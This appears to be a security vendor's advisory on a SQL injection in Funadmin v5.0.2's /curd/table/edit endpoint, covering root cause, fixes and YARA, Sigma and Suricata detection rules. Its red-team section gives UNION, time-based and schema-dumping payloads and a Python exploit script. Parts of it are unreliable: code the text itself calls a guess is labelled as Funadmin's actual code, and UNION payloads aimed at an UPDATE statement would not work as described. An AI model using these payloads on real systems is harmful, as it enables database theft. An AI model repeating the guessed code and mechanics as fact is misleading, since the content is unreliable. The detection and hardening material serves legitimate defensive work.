CVE-2024-48222

Executive Summary

CVE-2024-48222 is a critical SQL injection vulnerability discovered in Funadmin v5.0.2, specifically within the /curd/table/edit endpoint. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to complete database compromise, data exfiltration, and further lateral movement within the network. The vulnerability has a CVSS score of 0.0 due to incomplete NVD data, but based on the nature of the flaw, it is assessed as critical. No official patch or vendor response has been identified, making all instances of Funadmin v5.0.2 and potentially earlier versions vulnerable.

Supply Chain & Package Security

Funadmin is a PHP-based open-source rapid development framework. The vulnerability exists in the core CRUD (Create, Read, Update, Delete) functionality, which is a fundamental component of the application. Since Funadmin is often used as a backend for custom web applications, any application built on this framework inherits the vulnerability. There is no known package manager distribution (e.g., Packagist) for Funadmin, but direct downloads from the official GitHub repository or website are common. Organizations using Funadmin should treat this as a supply chain risk and audit their deployments.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a realistic assessment based on the vulnerability details yields the following:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Calculated Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and has severe consequences.

Deep Dive & Mechanics

The vulnerability resides in the /curd/table/edit endpoint of Funadmin v5.0.2. This endpoint is part of the CRUD generator, which dynamically creates database tables and fields. The flaw is in the handling of user-supplied parameters, likely the table or field parameters, which are directly concatenated into SQL queries without proper sanitization or parameterization.

Root Cause: The application uses string concatenation to build SQL queries instead of prepared statements or parameterized queries. For example, a vulnerable code snippet might look like:

$sql = "UPDATE " . $_GET['table'] . " SET " . $_GET['field'] . " = '" . $_GET['value'] . "' WHERE id = " . $_GET['id'];

An attacker can inject SQL commands by manipulating any of these parameters. The most common injection point is the table parameter, as it is often used in FROM or UPDATE clauses.

Attack Flow:

1. Attacker identifies a Funadmin instance (e.g., via Shodan or Google dorking).
2. Attacker sends a crafted HTTP request to /curd/table/edit with malicious SQL in the table parameter.
3. The application executes the injected SQL, allowing the attacker to read, modify, or delete database contents.
4. The attacker can potentially escalate to OS command execution if the database user has file write privileges (e.g., INTO OUTFILE).

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable pattern and a secure alternative.

Vulnerable Code (Funadmin v5.0.2):

// /curd/table/edit
$table = $_GET['table'];
$field = $_GET['field'];
$value = $_GET['value'];
$id = $_GET['id'];

$sql = "UPDATE `$table` SET `$field` = '$value' WHERE id = $id";
$result = mysqli_query($conn, $sql);

Patched Code (Recommended):

// Use prepared statements
$table = $_GET['table'];
$field = $_GET['field'];
$value = $_GET['value'];
$id = $_GET['id'];

// Whitelist table and field names
$allowed_tables = ['users', 'posts', 'comments'];
$allowed_fields = ['name', 'email', 'content'];

if (!in_array($table, $allowed_tables) || !in_array($field, $allowed_fields)) {
    die("Invalid table or field.");
}

$stmt = $conn->prepare("UPDATE `$table` SET `$field` = ? WHERE id = ?");
$stmt->bind_param("si", $value, $id);
$stmt->execute();

Key Differences:

• Input Validation: The patched code validates table and field names against a whitelist.
• Parameterized Queries: The patched code uses prepared statements for the dynamic values.
• Escaping: Even with whitelisting, the table and field names are still interpolated, but since they are validated, the risk is minimized.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Funadmin v5.0.2 instance.
• Knowledge of the database structure (can be inferred from error messages or default tables).

Exploit Payload:

The following payload extracts the MySQL version:

GET /curd/table/edit?table=users&field=name&value=test&id=1 UNION SELECT @@version,2,3-- -

Automated Exploit Script (Python):

import requests

target = "http://target.com"
payload = "1 UNION SELECT @@version,2,3-- -"
params = {
    "table": "users",
    "field": "name",
    "value": "test",
    "id": payload
}
r = requests.get(f"{target}/curd/table/edit", params=params)
print(r.text)

Blind SQL Injection (Time-based):

GET /curd/table/edit?table=users&field=name&value=test&id=1 AND SLEEP(5)-- -

Data Exfiltration:

GET /curd/table/edit?table=users&field=name&value=test&id=1 UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema=database()-- -

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for unusual SQL keywords in GET parameters (e.g., UNION, SELECT, SLEEP, INTO OUTFILE).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use database activity monitoring to detect anomalous queries.

Hardening:

• Apply the patched code as described above.
• Restrict database user privileges (e.g., no FILE privilege).
• Use a read-only database user for the application if possible.
• Implement input validation and parameterized queries across the entire application.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /curd/table/edit containing SQL keywords in parameters.
• Unusually long GET requests.
• Requests with multiple -- or # characters (SQL comment markers).

Host IOCs:

• Unexpected database queries in logs (e.g., UNION SELECT, INTO OUTFILE).
• New files in the web root (e.g., .php shells) if the attacker achieved file write.
• Database user with FILE privilege being used.

Log Examples:

192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /curd/table/edit?table=users&field=name&value=test&id=1%20UNION%20SELECT%20@@version,2,3--%20- HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

Detection Engineering

YARA Rule

rule CVE_2024_48222_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Funadmin CVE-2024-48222"
        author = "Valters IT"
        date = "2024-10-10"
        reference = "CVE-2024-48222"
    strings:
        $s1 = "/curd/table/edit" ascii wide nocase
        $s2 = "UNION" ascii wide nocase
        $s3 = "SELECT" ascii wide nocase
        $s4 = "SLEEP" ascii wide nocase
        $s5 = "INTO OUTFILE" ascii wide nocase
        $s6 = "information_schema" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt Against Funadmin CVE-2024-48222
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the /curd/table/edit endpoint in Funadmin.
author: Valters IT
date: 2024/10/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48222
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/curd/table/edit"
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION SELECT in rare cases (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48222 SQL Injection Attempt"; flow:to_server,established; content:"/curd/table/edit"; http_uri; content:"UNION"; http_uri; nocase; content:"SELECT"; http_uri; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable Funadmin instance from the internet if possible.
2. Apply the patched code provided in the "Vulnerable vs. Patched Code" section.
3. Review database logs for signs of compromise.
4. Change all database credentials and application secrets.

Long-term Mitigation:

• Upgrade to a patched version of Funadmin if one becomes available.
• Implement a Web Application Firewall (WAF) with SQL injection prevention rules.
• Conduct a full security audit of the application.
• Adopt secure coding practices, including parameterized queries and input validation.

Workaround:

• Disable the /curd/table/edit endpoint by removing or renaming the file, or by adding an access control check that requires authentication.

Valters IT
Securing Your Digital Frontier